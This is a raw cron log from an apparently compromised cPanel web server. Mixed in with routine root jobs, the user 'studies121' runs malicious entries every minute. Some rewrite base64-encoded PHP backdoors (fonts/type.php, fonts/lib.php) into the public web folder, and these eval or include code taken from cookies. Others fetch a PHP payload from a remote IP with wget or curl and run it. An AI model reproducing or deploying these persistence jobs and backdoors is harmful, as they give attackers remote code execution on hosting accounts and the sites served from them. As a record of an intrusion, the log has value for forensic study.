Sep  2 04:45:01 ip-184-168-122-23 CROND[13400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:45:01 ip-184-168-122-23 CROND[13401]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  2 04:45:01 ip-184-168-122-23 CROND[13399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:46:01 ip-184-168-122-23 CROND[13509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:46:01 ip-184-168-122-23 CROND[13511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:46:01 ip-184-168-122-23 CROND[13514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:46:01 ip-184-168-122-23 CROND[13515]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 04:46:01 ip-184-168-122-23 CROND[13513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:46:01 ip-184-168-122-23 CROND[13512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:46:01 ip-184-168-122-23 CROND[13516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:47:01 ip-184-168-122-23 CROND[13655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:47:01 ip-184-168-122-23 CROND[13654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:47:01 ip-184-168-122-23 CROND[13659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:47:01 ip-184-168-122-23 CROND[13660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:48:01 ip-184-168-122-23 CROND[13851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:48:01 ip-184-168-122-23 CROND[13852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:48:01 ip-184-168-122-23 CROND[13853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:48:01 ip-184-168-122-23 CROND[13854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:48:01 ip-184-168-122-23 CROND[13855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:49:01 ip-184-168-122-23 CROND[13985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:49:01 ip-184-168-122-23 CROND[13986]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 04:49:01 ip-184-168-122-23 CROND[13988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:49:01 ip-184-168-122-23 CROND[13990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:49:01 ip-184-168-122-23 CROND[13987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:50:01 ip-184-168-122-23 CROND[14146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:50:02 ip-184-168-122-23 CROND[14148]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:50:02 ip-184-168-122-23 CROND[14153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:50:02 ip-184-168-122-23 CROND[14152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:50:02 ip-184-168-122-23 CROND[14155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:50:02 ip-184-168-122-23 CROND[14154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:50:02 ip-184-168-122-23 CROND[14157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:50:02 ip-184-168-122-23 CROND[14158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:50:02 ip-184-168-122-23 CROND[14159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:51:01 ip-184-168-122-23 CROND[14299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:51:01 ip-184-168-122-23 CROND[14300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:51:01 ip-184-168-122-23 CROND[14302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:51:01 ip-184-168-122-23 CROND[14301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:52:01 ip-184-168-122-23 CROND[14407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:52:01 ip-184-168-122-23 CROND[14409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:52:01 ip-184-168-122-23 CROND[14410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:52:01 ip-184-168-122-23 CROND[14412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:52:01 ip-184-168-122-23 CROND[14411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:53:01 ip-184-168-122-23 CROND[14534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:53:01 ip-184-168-122-23 CROND[14536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:53:01 ip-184-168-122-23 CROND[14539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:53:01 ip-184-168-122-23 CROND[14540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:54:01 ip-184-168-122-23 CROND[14714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:54:01 ip-184-168-122-23 CROND[14718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:54:01 ip-184-168-122-23 CROND[14717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:54:01 ip-184-168-122-23 CROND[14716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:54:01 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:55:01 ip-184-168-122-23 CROND[14826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:55:01 ip-184-168-122-23 CROND[14827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:55:01 ip-184-168-122-23 CROND[14832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:55:01 ip-184-168-122-23 CROND[14830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:55:01 ip-184-168-122-23 CROND[14829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:55:01 ip-184-168-122-23 CROND[14831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:56:01 ip-184-168-122-23 CROND[14979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:56:01 ip-184-168-122-23 CROND[14981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:56:01 ip-184-168-122-23 CROND[14983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:56:01 ip-184-168-122-23 CROND[14984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:56:01 ip-184-168-122-23 CROND[14985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:57:01 ip-184-168-122-23 CROND[15112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
